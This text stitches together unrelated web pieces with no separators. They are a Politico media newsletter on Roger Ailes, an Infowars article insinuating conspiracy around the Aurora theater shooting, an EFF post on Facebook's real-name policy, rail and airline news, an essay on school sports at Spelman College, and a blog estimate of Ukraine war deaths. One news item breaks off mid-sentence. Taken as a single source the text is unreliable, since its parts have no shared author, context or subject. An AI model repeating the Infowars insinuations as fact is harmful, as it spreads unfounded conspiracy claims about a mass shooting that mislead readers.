The NYPD factor: Another source and Morning Media reader pointed out: A notable aspect that’s escaped attention in the recent spate of Ailes coverage is his deep ties to the NYPD. This came to light in reports in 2011 and 2012 as well as in Sherman’s book. It seems all the more fascinating in the current context of assessing just how much power Ailes wielded, all the way up to NYPD intel guys who he was able to get to do countersurveillance work (meaning Ailes was worried people were conducting surveillance on him and he wanted the NYPD to surveil the alleged surveillance). Morning Media obtained a document that was prepared for an NYPD Intelligence Division team. It’s been made public before, but it’s worth reproducing here, for posterity if nothing else:
Name: Roger Ailes, President of Fox News Network
Residence: Cresskill New Jersey
Work: 1211 Ave of the Americas
Remarks: Request for counter surveillance from Threats Desk. Mr. Ailes employs a retired NYPD Detective as personal escort. He arrives via private Car and is dropped off daily in front of 1211 Ave of Americas daily between 7am and 9am. He is Escorted into building by his security and is met by building security.
At the request of Mr. Ailes his security is not to be notified. He is aware of the pending counter surveillance attempt. Lt. Chapman (917) xxx-xxxx will be notified of the times and dates before conducting counter surveillance.
Odds and ends:
-- "The Carlson team is still actively litigating, we’re not the source of any information regarding a settlement, of which we have no knowledge," a spokesperson for former Fox News host Gretchen Carlson told POLITICO yesterday. On Monday, Vanity Fair’s Sarah Ellison reported that 21st Century Fox has begun discussing an eight-figure settlement for Carlson's sexual harassment lawsuit and that the company wants Ailes to fund a portion of it. http://politi.co/2bhP6kn
-- CNN’s Brian Stelter revealed that when he was in college running the blog TV Newser, he went out with a low-level Fox News staffer. But she wasn’t looking for romance -- she was doing research on Stelter and reporting it back to Fox. Stelter clarified that this happened more than a decade ago, when infamous former Ailes lieutenant Brian Lewis was running Fox News PR. Fox isn’t commenting so far on Stelter’s story. http://mm4a.org/2aDYZHO
AND NOW LET’S ALL PAUSE TO CATCH OUR BREATH! We’ll try to move through the rest of the day’s news as briskly as possible. Keep the tips and comments coming: jpompeo@politico.com. Twitter = @joepompeo. MM archives are here: http://politi.co/1PdFrwQ. Hadas Gold and Nick Lindseth contributed to today’s column.
GHOST OF FOX NEWS PAST -- Josh Gerstein: “A looming First Amendment showdown drew closer Tuesday as a federal judge ordered conservative media host Glenn Beck to identify at least two confidential sources in connection with a defamation lawsuit stemming from Beck's reporting on the Boston Marathon bombing. The suit was filed by Saudi Arabian student Abdulrahman Alharbi, who was injured at the scene of the deadly bombings. Beck continued to link the Saudi national to the attacks even after U.S. officials said publicly he'd been cleared.
"U.S. District Court Judge Patti Saris ruled that Beck must disclose the names of two Department of Homeland Security employees who allegedly gave a Beck producer information backing up the radio and TV host's claim that Alharbi was the ‘money man’ behind the attack.” http://politi.co/2aKwXgl
‘THIS ISN’T A JOKE ANYMORE’ -- That’s the latest cover of the Daily News, which has made waves this election cycle for its strong, advocacy-oriented front page treatments, especially on gun-related matters. Today’s installment, of course, refers to Donald Trump’s infamous “Second Amendment” remark yesterday. “When Trump hinted gun-rights supporters shoot Hillary, he went from offensive to reckless. He must end his campaign. If he doesn’t, the GOP needs to abandon him.” http://bit.ly/2b59uHS
Brian Stelter: “Just three hours after Donald Trump raised the specter of violence against Hillary Clinton, referencing ‘second amendment people’ who might be able to stop Clinton, [Sean Hannity] had an exclusive interview with the candidate. So what did Hannity do? Did he seize this moment to challenge Trump? To denounce talk of political violence? No. He basically put words in Trump's mouth and blamed the media.” http://eepurl.com/ca5FsD
REVOLVING DOOR: Adam Goldman, a prominent national security reporter, is leaving The Washington Post for The New York Times, where he will cover the FBI, and where he will be reunited with Matt Apuzzo, a fellow national security reporter with whom Goldman shared a Pulitzer and a book deal when they worked together at the AP a few years ago, blowing the lid off the NYPD’s secret spy unit. (Woodward-and-Bernstein of the twenty-teens?) “Matt and I have worked closely together for years, and hopefully we’ll find some stories to work on together in the future,” Goldman told POLITICO (http://politi.co/2bhTiAU). Not to be outdone, the Post has poached New York Times Middle East correspondent Kareem Fahim as the paper’s new Istanbul bureau chief (http://wapo.st/2bdWm3Q).
MUST READS:
-- “Is America Any Safer?” http://theatln.tc/2ayWPxx [The Atlantic]
-- “No regrets: An insider’s guide to Brexit failure” http://politi.co/2avtCmX [POLITICO]
-- “The Drone Presidency” http://bit.ly/2aLCcf7 [NYRB]
GAWKER ‘BLOWOUT’: A big party at Gawker headquarters tonight was billed as a celebration of a 14-year “noble experiment” that will come to an end in a few more days as Gawker Media is sold to whoever wins the bidding for the bankrupt company. But as late as yesterday, a court was listening to arguments from the company’s creditors that Gawker should not be allowed to host it. WSJ: “In the end, the creditor’s committee—led by representatives of former professional wrestler Hulk Hogan, whose invasion-of-privacy legal victory forced Gawker and its founder Nick Denton to file for chapter 11 bankruptcy protection—decided not to object to the event because the cost is expected to be only $1,000.” That doesn’t buy a lot of booze; let’s hope someone else is chipping in too. http://on.wsj.com/2aAvc73
THE BATTLE FOR MILLENNIALS -- Ken Doctor’s latest POLITICO column takes a look at which media companies are winning, based on audience metrics. “Who does the best with Millennials? “over-indexing”? Appropriately enough, it’s Vice.com. … Just behind it: Mic, Buzzfeed, Vox.com, Mail Online and The Guardian. … On the other hand, big legacy news brands show substantial audiences, but look to Millennials to make up only about a third or a little more of their overall visitors. Thirty-nine percent of the New York Times audience is made up of Millennials. For USA Today, it’s 37% and for NBC News it’s 35%. These companies look at Millennials as a kind of blood transfusion, bringing new readers into the habit.” http://politi.co/2aJeMoe
SPEAKING OF MILLENNIALS -- Mic, Public Radio International and Manhattan’s 92nd Street Y are teaming up on an “UnConvention” -- “an ambitious multiplatform initiative to engage millennials in meaningful civic conversations during this year’s election season,” according to a press release. “The UnConvention includes streams of social, digital, audio and video content created and shared by 92Y, Mic, PRI and others. … The initiative culminates October 17-21, in five nights of high-profile discussions and performances taking place at 92Y.” http://bit.ly/2aU5iaH
SOUND BITES:
-- “The thing about reporting on both Ailes & Trump is that the facts themselves are so outlandish it can trigger charges of hyperbole or bias” http://bit.ly/2aY3U98 [David Folkenflik]
-- “Man, to know what Lachlan and James are thinking about Hannity right now.” http://bit.ly/2b562Ni [Joshua Benton]
FOX BUSINESS IS LATEST TO HOST LIBERTARIAN TOWN HALL -- Alex Weprin reports: “Fox Business Network will host a town hall with the Libertarian Party presidential ticket of Gary Johnson and Bill Weld, the channel announced Tuesday. John Stossel will moderate the town hall, which will air on Friday, Aug. 26 at 9 PM, in Stossel's normal timeslot. … Fox Business, which hosted a Libertarian debate earlier this year, now joins CNN in hosting town halls with the third party ticket. CNN has hosted two town halls with Johnson and Weld.” http://politi.co/2b1Jdaw
BLOOMBERG MEDIA NUMBERS ARE UP -- “Total global revenue in the first seven months of this year has grown +10% year-to-date compared to the same period in 2015,” CEO Justin Smith wrote in a memo yesterday. “Global advertising revenue year-to-date through July is up +10%. U.S. advertising sales in July grew a remarkable 32% vs. July 2015.” http://bit.ly/2aShV5U
SOUNDTRACK: Rod Stewart, “Young Turks” http://bit.ly/1jIoMLN
EXTRAS:
-- What does the job title “publisher” mean in 2016? http://bit.ly/2aY518K [Poynter]
-- An update on Storyful, News Corp’s social news agency: http://bit.ly/2aJk5nq [Medium]
-- Tribune Media reported a loss yesterday for its latest financial quarter, but underlying profit was on the rise. http://bit.ly/2b6YMlm [The Hollywood Reporter]
-- Tribune Media is selling off more real estate holdings. http://politi.co/2aKSoNk [POLITICO]
This article tagged under: Media
Media StoriesExercise revolved around gunman attacking theater
Paul Joseph Watson
Infowars.com
Monday, July 23, 2012
A Colorado university just 16 miles away from the site of Friday morning’s deadly ‘Batman’ massacre staged an identical exercise the very same day in which students were trained how to react to a gunman firing at people in a movie theater.
“Rocky Vista University College of Osteopathic Medicine is in the middle of holding specialized classes in disaster life support for 150 second-year medical students. Along with response to natural disasters like hurricanes and floods and terrorist attacks, one of the scenarios being used to train the students is how to respond if a shooter fires at people in a movie theater and also uses a bomb in the attack,” reports the Denver Post.
The added detail of a bomb being used in the drill makes the similarity with the shooting even more creepy given the fact that gunman James Holmes used a smoke bomb during his deadly assault.
The drill was part of an Advanced Disaster Life Support Training exercise which involves emergency specialist physicians. The shootings in Aurora were actually incorporated into the training at the University which took place just hours after the massacre.
“The irony is amazing, just amazing,” said Rocky Vista Dean Dr. Bruce Dubin.
The school drill was just one of a number of strange coincidences that eerily paralleled the tragic massacre druing which 12 people were killed dozens more injured.
One of them was a 1986 Batman cartoon in which “a crazed, gun-toting loner walks into a movie theater and begins shooting it up.”
As Angus Hogwarth notes, there are numerous other paralells with the Batman series involving acts of violence taking place in theaters.
In another shocking coincidence, a trailer that preceded The Dark Knight Rises for a movie called Gangster Squad shows gangsters emerging from behind the screen to shoot up a movie theater. Warner Brothers were forced to desperately pull the trailer within hours of the Aurora shooting.
*********************
Paul Joseph Watson is the editor and writer for Prison Planet.com. He is the author of Order Out Of Chaos. Watson is also a regular fill-in host for The Alex Jones Show and Infowars Nightly News.There are myriad reasons why individuals may wish to use a name other than that which they were born with. For some, these reasons could mean life or death—for example, political dissidents voicing unpopular opinions in places like Syria or Vietnam, or people trying to get away from abusers—while for others, it may still very much be a matter of safety and security. Pseudonyms can enable people to access information, social services, and gain entry to communities while maintaining safety. This is especially true online, where individuals from distributed or marginalized groups can find community, spread awareness of issues they face, and seek information. LGBTQ individuals number among those who rely heavily on the Internet.
That’s why EFF was alarmed to hear that Facebook’s ‘real name’ policy is disproportionately affecting the LGBTQ community—in particular drag queens. Last week, the Daily Dot reported that Facebook was blocking drag performers from using their assumed, or stage names, rather than their legal ones. Tech journalist Violet Blue also reported on the situation, stating that Facebook was enforcing its ‘real names’ policy, “insidiously outing a disproportionate number of gay, trans and adult performers” and placing them at risk for attacks and harassment.
EFF has long advocated against ‘real names’ policies, arguing in particular that the way these policies are enforced subjects the most vulnerable populations (that is, people with enemies or unpopular opinions) to the most risk because of the ease with which another user can report them and thus have their account suspended. When a user is reported for using a ‘fake’ name, Facebook will prompt the user to submit their official identification. For pseudonymous users, this is impossible; it also comes with other privacy risks.
While Google Plus gave up their ‘real names’ policy, first allowing certain exceptions then abandoning the policy altogether, Facebook has remained steadfast, despite scant evidence that the policy comes with claimed benefits such as a greater level of “civility” (and some evidence to the contrary).
And while Facebook maintains that this policy applies to every user on their site, in a report from Slate Facebook acknowledged that profile pages are typically only reviewed when “a member of the Facebook community reports it to us,” noting that “in these instances [suspensions of drag queens' accounts], the profiles would have been reported to us.” Assuming that Facebook’s account of the situation is accurate, this would mean that someone (or a group of people) is intentionally targeting drag performers. For non-gender conforming individuals, who are disproportionately attacked offline as well (in June alone, four trans women were murdered), the effects are particularly dangerous.
One of the loudest voices speaking out against Facebook’s policy is Sister Roma, who belongs to the Sisters of Perpetual Indulgence, a group that was borne out of political protest. Her identity is not an isolated performance; it’s the very definition of free expression. The Sisters’ work includes “community service, ministry and outreach to those on the edges, and promoting human rights, respect for diversity and spiritual enlightenment.”
For members of this community, the consequences of bad online policy are real. Sister Roma has stated that she doesn’t want employers or stalkers to be able to find her. Fortunately, and despite the personal risks, she lives in a state that provides legal protections against discrimination based on gender identity and sexual preference; many drag performers don’t, and could very well lose jobs as a result of being “outed” with their drag personas.
More disturbingly, drag performers and others in the LGBTQ community—especially transgender people—often face violent harassment, online and off. Being able to connect a legal name with an online LGBTQ identity makes it much easier for not just stalkers and harassers, but dangerous abusers, to find people offline. And the loss of ability to identify using one’s chosen identity makes it more likely that an individual will simply leave social media, thereby losing an essential source of community and information. As drag performer Olivia LaGrace explains:
Victims of abuse, trans people, queer people who are not able to be safely "out," and performers alike need to be able to socialize, connect, and build communities on social media safely. By forcing us to use our "real" names, it opens the door to harassment, abuse, and violence.
While Facebook offers other ways for individuals to use the service without exposing their ‘real name’—such as creating a Page—many claim that those options fall short. A fan page cannot receive messages, for example. Only certain types of pages can receive messages (to find out how, click here). According to SFist, another option (for performers, anyway) might be to register a DBA, or “Doing Business As” name with the Small Business Administration that can be presented to Facebook if one’s name is challenged.
These workarounds are inherently unfair to individuals whose desire for relative anonymity is a matter of safety or identity, and useless for those who merely desire to use a pseudonym. While Facebook has agreed to meet with community members and San Francisco Supervisor David Campos after extensive media attention, the company's reaction so far has left much to be desired. And unfortunately, if Facebook doesn't change the policy, some users will be left with very few options.Dyan Crowther to leave Govia Thameslink to become CEO of high-speed link between London and start of Channel tunnel in Kent
The executive in charge of operations at the company behind crisis-hit Southern rail has landed the top job at the high-speed rail line used by Eurostar trains.
Her departure was announced as disgruntled Southern passengers closed in on a fundraising target in an effort to pay for a judicial review of the rail franchise.
Dyan Crowther, chief operating officer at Southern’s owner, Govia Thameslink Railway (GTR), will become chief executive at HS1, the link between London and the start of the Channel tunnel in Kent.
Crowther, who will join HS1 next year, has presided over operations at GTR during an industrial relations and reliability crisis that has infuriated passengers. Southern services have been disrupted for months amid a protracted dispute over staff shortages and the role of conductors.
The Rail Maritime and Transport (RMT) union is planning14 days of strikes from October to December.
More than 900 Southern users affected by the ongoing dispute have clubbed together to raise the cash to fund a judicial review of the franchise award to GTR. The Association of British Commuters said it has now raised £18,000 of the £25,000 needed to move ahead with the courtroom challenge.
The group’s lawyers have written to the Department for Transport asking to see documents related to the award but say their requests have not been granted.
Southern rail boss waives bonus and pay rise as profits rise 27% Read more
“We have been delighted with the public response to our campaign,” the group said in a statement. “What has been extremely disappointing, however, is the Department for Transport’s failure to engage with us.
“We have asked the most straightforward of questions and have been met firstly with two weeks of silence, and now with a further delay whilst they consider whether to lift the lid on the franchise. This conduct just underlines the fact that judicial review is the only option available to us.”
Emily Yates, the group’s campaign co-ordinator, said: “It is hard to understand why they cannot be transparent about their dealings with a private company that is failing on such an unprecedented scale.”
The group is planning a protest at Victoria station in London on Thursday.PIA offers black goat sacrifice for safer flights
KARACHI: The Pakistan International Airlines may have cleared the ATR planes for flying operations, but mere clearance seemed a half-job done for the authorities as they resorted to slaughter a black goat on Sunday to ward off any ‘untoward happening’ in view of looming fear.
According to sources, the sacrifice of the goat was offered at the Islamabad airport on behalf of PIA. The goat was slaughtered moments before the aircraft took off for the first time after shakedown tests.
The flight was due for Multan from Islamabad. The PIA had grounded all of its 10 ATR aircraft after the Civil Aviation Authority ordered shakedown tests of the planes.
The directions came after an ATR aircraft reportedly caught fire while on runway of the Multan Airport before taking off Sunday. The PIA airplane PK-581 with 48 passengers onboard was set to take off from Multan to Karachi when it suffered a blaze.
According to PIA Spokesperson Danyal Gilani, “It has been decided to keep all 10 ATR aircraft grounded till they are cleared after thorough examination.” The statement said the “temporary suspension of ATR operation” will affect PIA’s flights to smaller airports like Gwadar, Turbat, Panjgur, Mohenjo Daro, Zhob, Bahawalpur, Dera Ghazi Khan, Chitral and Gilgit.After winning a civil case that found them not liable for the 2012 Aurora mass shooting, theater chain Cinemark is seeking legal fees from the families of those killed.
On May 19, a state jury absolved Cinemark of liability in the shooting, which took place at the Aurora Century 16 multiplex in July 2012 during a showing of The Dark Knight Rises. A month later, on June 24, a federal case was dismissed on the grounds that “a reasonable jury could not plausibly find that Cinemark’s actions or inactions were a substantial factor in causing this tragedy,” according to the judge’s ruling. The plaintiffs argued that the theater had insufficient security on the |
into interscholastic sports that serve a small number of students, but keep adults employed. In major colleges, that money, as well as cash from blanket student athletic fees, builds mammoth stadiums and amenity-filled arenas for corporate ticket holders; buys fancy editing software for coaches to scout opponents and prospects; and creates academic tutoring centers for athletes, who like young Mr. Jones from The Ohio State University once did, betray little yearning for class. In high schools, sports force cash-strapped schools to choose between music courses, science labs and bus rides to state championship games.
Interscholastic sports is a failed state. Its reason for existence is developing healthy students and elite athletes; it does neither at a high cost. On the heels of March Madness, it's the perfect time to ask the question Spelman College asked: Why are we doing this?
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WHAT LIES BENEATH
No place else in the world does sports like the United States
No place else in the world does sports like the United States. As Tom Farrey points out in his 2008 book, "Game On: The All-American Race to Make Champions of Our Children," sports and schools connected through a historical accident. A bunch of rich, nervous American males thought the country's kids soft, undisciplined and ill suited to the demands of modern commerce. With gangs of teenagers wreaking criminal havoc on New York City streets, industrialists with names like Vanderbilt, Carnegie, Rockefeller and Morgan-egged on by the vigorous young president, Teddy Roosevelt-financed the fledgling Public Schools Athletic League, the first conference of its kind, in 1903. The goal was simple: Give boys structured play to burn off energy and teach them obeisance to authority needed on America's factory floors.
The idea spread like a sweatshop fire, filling Madison Square Garden to capacity for the first PSAL basketball championship, then sparking similar leagues in cities across the nation. As America prospered and its school populations grew over the next 60 years, interscholastic sports lodged itself in the education system, creating a way of life not only in hoops-crazed New York, but seeding football hotbeds in places like Alabama and Texas, whose gleaming high school and university sports factories today surpass anything Andrew Carnegie could have imagined.
school sports in poorer regions of the country, especially inner cities, have been decimated
As happened with America's heavy industry, though, changing economic winds battered the sports production line, creating the equivalent of scholastic sports rust belts. Since the 1980s, school sports in poorer regions of the country, especially inner cities, have been decimated, killing participation for all but a few in a shrinking number of sports. Nobody knows the exact extent of the damage, because nobody keeps track. Megan Bartlett of the Up2Us Foundation, a group devoted to funding youth recreation in underserved areas, says the U.S. Education Department produces no statistics on scholastic sports programs or expenditures. This much is certain, though: School sports for the many are already dead. Middle school programs are steadily shrinking, and freshman teams no longer exist at a majority of schools. Meanwhile, the corrosion of prep sports is spreading as school budgetary pressures increase throughout the country
That may not be a bad thing. Etta Kralovec, in her 2003 book "Schools That Do Too Much," cites sports as a time suck and cash drain from what schools are supposed to do. "School-sponsored sports, especially in our high schools," Kralovec writes, "serve a small number of students, distract from valuable teacher time, and waste money and time that could be better spent on other resources more relevant to teaching, the central mission of schools."
Still, tradition and motivated supporters provide political incentives for school boards to hold sports hostage, saying, "Hold the line, or the football team gets it." Yet as districts cut academic classes and top performing teachers desert because of pay freezes, it's tough to justify school sports for the few. For the past three decades, pay-to-play fees have become a Band-Aid solution to keep programs afloat. But that practice excludes poor youths-the whole focus of interscholastic sports in the first place.
The scholastic sports programs that hang on often do more harm than good, says Diana Cutaia, a former athletic director at Division III Wheelock College in Massachusetts. Too many coaches play only to win, and not for the sake of playing. "This win-at-all costs model, where the end result is most important, it's wrong," Cutaia says. She now runs Coaching Peace Consulting, which advises athletic administrators and coaches on improving sportsmanship and skill development.
Once, nobody needed a consultant to teach sportsmanship and fundamentals. John Gerdy remembers. The son of a New Jersey high school football coach, Gerdy went on to become Davidson basketball's all-time leading scorer in the 1970s; he's now second behind Stephen Curry. "I'm a product of the system," says Gerdy, author of "Air Ball: American Education's Failed Experiment with Elite Athletics."
"I think the NCAA folds. There's no way they'll be able to pay off what they'll have to pay off."
That system no longer exists. "To be a high school coach," Gerdy says, "you used to have to buy into the academic culture." All of his dad's assistants were teachers. Now, statistics show only about half of current high school coaches teach-and their mission to win games may not connect with the school's mission to foster learning. So, Gerdy asks, "What really is the educational return on investment here?"
Gerdy believes that football, in particular, has outgrown its usefulness in an economy based on rapid adjustments to change and entrepreneurial ingenuity. A symptom: Coaches call every play, so kids don't learn to manage their own games. Beyond that, Gerdy thinks the sport sits on a time bomb: head injuries. "How long are school districts going to be able to afford insurance for football?"
Basketball, too, may soon deal with an explosive issue, one that some experts believe could obliterate college sports: Ed O'Bannon's class action lawsuit against the NCAA. O'Bannon was one of the most highly touted high school players of the early 1990s. He overcame a severe knee injury as a freshman and led UCLA to the 1995 NCAA crown as a senior. After a journeyman nine-year pro career, O'Bannon was coaching high school hoops and selling cars in Las Vegas when he noticed his likeness being used in an NCAA-licensed video game. He sued for back royalties in 2009, and he's been joined by several other prominent former college stars, among them Oscar Robertson and Bill Russell. More than that, his attorneys have included current college players as part of the injured class in the case. If O'Bannon wins his case, slated for trial in 2014, he would open the door for untold players to claim untold revenues from the association.
If that happens, says Bruce Svare, a University at Albany professor and director of the National Institute for Sports Reform: "I think the NCAA folds. There's absolutely no way they'll be able to pay off what they'll have to pay off."
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DOING MATH
"Not sustainable." Both Svare and Gerdy use that phrase to describe the current system. The evidence is only a Google search-or a trip to Maryland-away. In the past year, the University of Maryland cut seven varsity sports (although moving to the Big Ten will allow the school to reinstate those sports), while Towson University dropped men's soccer and baseball. "The NCAA is at some point going to collapse under its own weight," Svare says. He's quick to add a caveat. Thanks to the giant audience for college football and the TV money already in the college hoops system, the rich we will always have with us. College football is a way of life in parts of the South and Midwest; it won't die unless the whole sport does. Even if O'Bannon & Co. destroy the NCAA, "You'll probably be left with 50 or 60 schools that will be able to stick with college sports," Svare believes, "and they'll form some sort of new organization."
just 22 of 227 NCAA Division I programs showed a profit off college sports in 2011
For the time being, the billion-dollar TV contracts entice schools to believe that if they build a large enough program, maybe they'll be one of those last 60, or more likely, 64. That's why conference realignments happen every year; athletic departments are chasing the dragon of monster revenues. Yet only a tiny sliver of programs, as few as two-dozen schools a year, according to USA Today's annual college sports revenue survey, make money off college sports. Read that again. USA Today reported just 22 of 227 NCAA Division I programs showed a profit off college sports in 2011. And that's often with hidden benefits, like tax-exempt construction bonds, unavailable to private-sector businesses.
In January, the Sports Business Journal reported Tennessee's athletic department has $200 million in debt and less than $2 million in reserve, a hole so deep the AD suspended the program's $7 million annual contribution to UT's general fund. Read that again. That's Tennessee, by all measures, a major college program. The argument that universities will lose alumni contributions if they shut down sports rings hollow when you're talking about that kind of debt. If they can't stay in the black on Rocky Top, where can they?
In the private sector, say reformers. Private, non-scholastic European clubs like FC Barcelona and Manchester United find and develop children from the time they're 12 years old. When the best prospects turn pro at 16, the clubs sign them for their teams or sell their rights on the transfer market. There is no sanctimony about education or amateurism. There is only business. "Our system needs to be like Europe's," Gerdy says. "Privatized."
The logical conclusion? Get sports out of schools. Everywhere.
The logical conclusion? Get sports out of schools. Everywhere.
Even in the purest part of the NCAA, Division III, where sports may still enhance education, escalating costs crimp the mission. That's what happened to Spelman. Sports never mattered much on the campus where the exterior shots for the TV series "A Different World" were filmed in the 1980s. The Spelman sisterhood values academic achievement, global community service, and the occasional party at neighboring all-male Morehouse-not tailgating. But Spelman found its athletic department caught in a conference realignment schism two years ago.
The NCAA requires at least seven colleges in its sanctioned conferences, but Spelman's Great South Athletic Conference found itself down to four in late 2011 after three members bolted. Moving to another conference would require far greater travel and a renovation of Spelman's 1950s-era gymnasium. So Spelman President Beverly Daniel Tatum began asking questions.
How many students participated in varsity sports? Answer: 80 out of 2,100.
How many students participated in the campus' five-year-old Wellness Program? Answer: 300. "But they were crunched for space," Tatum says. Varsity athletics controlled prime gym time. Without varsity sports, Spelman could meet the fitness needs for every student. Watching a Spelman varsity basketball game in February of 2012, Tatum posed another question:
How many of the women on the floor would play basketball after graduation? Answer: None professionally, and not many more recreationally.
"I thought of all the women I know and the kinds of physical activity they engage in," says Tatum, a treadmill fanatic whose FitBit step counter recently showed her with 5,932 steps toward her daily goal of 10,000-before a 10 a.m. interview. "Getting together after work to play team sports is not what they do."
They challenge long-held assumptions with easily
accessed data
Tatum will tell you she's no sports expert. Yet her simple questions have a Bill James quality: They challenge long-held assumptions with easily accessed data. And her challenges can be taken further. Much further. For instance, Spelman's participation rate-80 athletes of 2,100 students, or 4 percent-sounds low, and it is. But it's twice the rate of the NCAA a whole, where only one of every 45 students takes part in intercollegiate athletics.
The college president put those answers together with some nagging statistics. The Surgeon General stated in 2004 that obesity could shorten life expectancy and quality of life for this generation of young people. Research shows African-American women are the least active of any demographic group in the U.S., too often entering adulthood overweight or obese, at high risk for Type II diabetes, hypertension, heart disease and breast cancer.
Tatum kept seeing the evidence first-hand. She recalls attending a funeral for an alumna in her early 30s, who died alone in her home of respiratory issues. "I'm no physician," Tatum says, "but it seemed pretty clear to me her health situation was aggravated by the fact she was so overweight." Every spring at Spelman's convocation, the 10-year reunion class has a candle lighting ceremony for alumnae who've died since graduating, a surprising number from breast cancer or complications from diabetes or heart disease. "Think about that," Tatum says. "Those are 30 year olds, and there's always a candle being lit."
Tatum had an epiphany. "A little light bulb went on," she says. "We need to flip this script. We need to take those resources that were are investing in a very small number of people for a limited benefit, and reinvest it in a campus-wide initiative that would improve the long-term health outcomes of all our students."
Tatum adopted a 21st century goal for the restructured athletics department: Fitness literacy
In the year since, Tatum and her college flipped, shredded and repurposed the script, creating a whole new version of sports on campus. Citing the origins of the school, founded on bringing literacy to 19th century black women, Tatum adopted a 21st century goal for the restructured athletics department: Fitness literacy.
Spelman already had cornerstones in place, with required physical education courses and the growing Wellness Program-which offers nutrition counseling and a fitness menu with everything belly dancing and yoga classes, to courses with titles like Hula Fitness, Black Girls Run! and Hips and Heels, a workout in, yes, stilettos. (To make sure they're not damaging young lumbar regions, students are encouraged to complement the high-heel fitness with Ab Attack, a core workout.) The big event this spring, with apologies to the NCAA tournament: April's Founder's Day 5K race, where students who've never run before can go from the couch to the finish line via a months-long training program.
These programs are destined to grow as Spelman sheds its NCAA flab. The million dollars a year that once went to Spelmans's seven varsity teams will now fund more dance, running and swimming courses, and for the first time ever, campus intramural leagues.
Meanwhile, Spelman already planned to expand or replace Read Hall, the school's antiquated gym, whose hoops court falls four feet short of the regulation length of 94 feet. Now, instead of trying to build something to NCAA specifications, Facilities Management Director Art Frazier has a different mission: fulfilling student demand for a "bigger, lighter, airier fitness space."
The college is embracing the change, though it's not easy. Athletic Director Germaine McCauley calls the departure from the NCAA "bittersweet." Varsity tennis player Kemi Oyewole, who will lose her senior season of college competition next year, admits she was "taken aback" when she heard her college career was over. "I'm going to miss it quite a lot," she says.
But Oyewole, a mathematics major who plans to pursue a doctorate in economics, can add. She delivers a quick cost-benefit analysis of college athletics. "The conversation about education as a whole, from Barack Obama down to a financial aid officer, will always come around to the fact that these rising costs of tuition and things are not sustainable," she says. "We're going to reach a point where some things are going to have to go. I'm not sure athletics is going to be the first thing, but I'm sure that at smaller schools those discussions will start coming up. And at the largest schools, since they have the largest costs, (cutting sports) would actually incur a lot of savings."
Her analysis is spot on. Because every Spelman official has a story like Kassandra Jolley's. They see colleagues at a conference, or receive an email or phone call from another school, and they're asked, "How could you drop sports?" sometimes followed up with, "How can we?"
Spelman isn't proselytizing. It doesn't believe every campus should make the same choice it has. But it's time for another logical conclusion. NCAA institutions serve 19.7 million students, and another 75 million or so kids go to school from pre-K to high school; the effects on public health of moving money for competitive school sports into broad-based fitness and intramural programs are likely enormous.
"One size doesn't fit all," Tatum says. "Certainly, the big schools, the Michigans of the world, find their athletics generate revenue, and that's important to them." But for most colleges, she adds, sports generate no revenue, only expenses. "As there's more pressure across the higher ed landscape to contain costs, this could be a way for people to address the holistic needs of student development," Tatum says. "That's what we're up to."
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WEAKNESS LEAVING THE BODY
While much of the rest of America spent the last month poring over brackets, Danyelle Carter will stay obsessed with marbles. For every pound she loses, she transfers a marble from one jar into another one. "I just watch the marbles build up."
She's chosen to change the world by changing herself Danyelle Carter before and after she lost over 100 pounds.
She's chosen to change the world by changing herself. "Being 340 is scary," she says. "I never ever want to go back there. You can feel when your heart is saying, ‘Enough.' When you lay down and you feel the pressure on your chest, and you have someone tell you that at your age, you should not have pre-hypertension, that's fear. Nothing mobilizes a person more than fear."
She recalls wondering how she ever got so big. When she saw that number, for the first time in her life, she loathed herself. "I held myself accountable," she says, "and said I have to fix it. What Spelman taught me was I didn't have to fix it by myself. You have a community that's cheering for you." She heard cheers a couple of weeks ago when she finished the Founder’s Day 5K—and saw a congratulatory tweet from President Tatum. She also feels constant encouragement from nutrition counselors, trainers, fellow students, people on her Facebook group telling her she had a great week, even if she just maintained her weight. She's not cutting down nets, but for Carter there's no better feeling.
Except maybe when this soldier in a revolution is done with boot camp. Over email, she describes how she feels at the end of the workout.
I grit my teeth and I finish, and I carry my morning accomplishment throughout the day reminding myself that whether it is me adopting a healthier lifestyle, or academics, I am a champion. This champion, me, can now do the squat-and-throw, push-ups, swings, and shuttle runs without quitting or self-loathing. Because I am, I am, I am a champion.
This is what the future of sports in our schools can look like. One shining moment, every day, for all.On Feb 8 the German FAZ reported that the actual death toll of the conflict in Ukraine is ten times higher than the official figures suggest. According to their sources (‘Sicherheitskreise’ – military / intelligence) 50’000 fighters and civilians have died since April 2014. The UN estimates 5’358 casualties, Poroshenko recently said that 5’638 died.
Some remarks on this:
1. There is always a gap between different estimations. There exist different methods to count killed fighters and civilians. On the other hand information on killed soldiers and dead civilians is a strategic asset since information is part of warfare and conflict management… but this variance is bizarre.
2. Maybe the figures of the FAZ report are blown up, maybe the report was planted in order to soften Western opposition to the latest German / French emergency-talks in Moscow and Minsk. That was my first thought after I read about it. Then I did some calculations…
3. Proportionality [1] between civil casualties and population size:
For the Afghan conflict in the 80s it was estimated that 0.011% of the civil population was killed per month [2]. In Bosnia the ‘genocide-rate’ was estimated experimentally 0.2% per week [3]. Let’s assume that in Ukraine civilian casualties (fighters excluded) are five or ten times lower than in Afghanistan (0.002% – 0.001% per month).
Around 5.2 millions are immediately affected by the conflict. I do another more conservative estimate with 4.3 millions, the population of Donetsk Oblast in 2013. Those parameters from Afghanistan and Bosnia are estimations, they are not necessarily consensus among historians. No need to mention that Afghanistan is not ideal to get a statistical baseline for an estimation on Ukraine. Data on Georgia or Chechnya would be better for that purpose.
4. Proportionality between casualties and refugees:
In Syria the amount of refugees is estimated around twenty times higher than the amount of dead (roughly, data from wikipedia). Maybe the war in Ukraine is five to ten times less deadly than the war in Syria.
5. If this guessing makes any sense, the figures of the FAZ report seem too pessimistic. I think the estimations I did are conservative (optimistic). If this is the case, the UN figures are at the very low end of the range. More crucial than the numbers is the definition of ‘civilian casualties’. Does it include only direct victims of the armed conflict (shelling of urban areas, bus stops etc.) or do dead seniors, sick ones, wounded fighters, children who died due to lack of infrastructure count as well?
6. The high ‘genocide-rate’ of Bosnia (0.2% of pop per week) was a result of encircling and shelling cities, temporary local superiorities, volatility, taking organs not prisoners…
_____________
[1] Please note: I did this estimations on Sunday afternoon with the stuff I had at hand. It’s a priori and not precise, rather statistical voodoo than science… (A proper analysis on this (including battle deaths) would take at least three or four weeks. My email is in the about section in case someone likes to fund such a project.)
[2] Allan/Stahel, 1983, Tribal Guerrilla Warfare Against a Colonial Power: Analyzing the War in Afghanistan, 602ff.
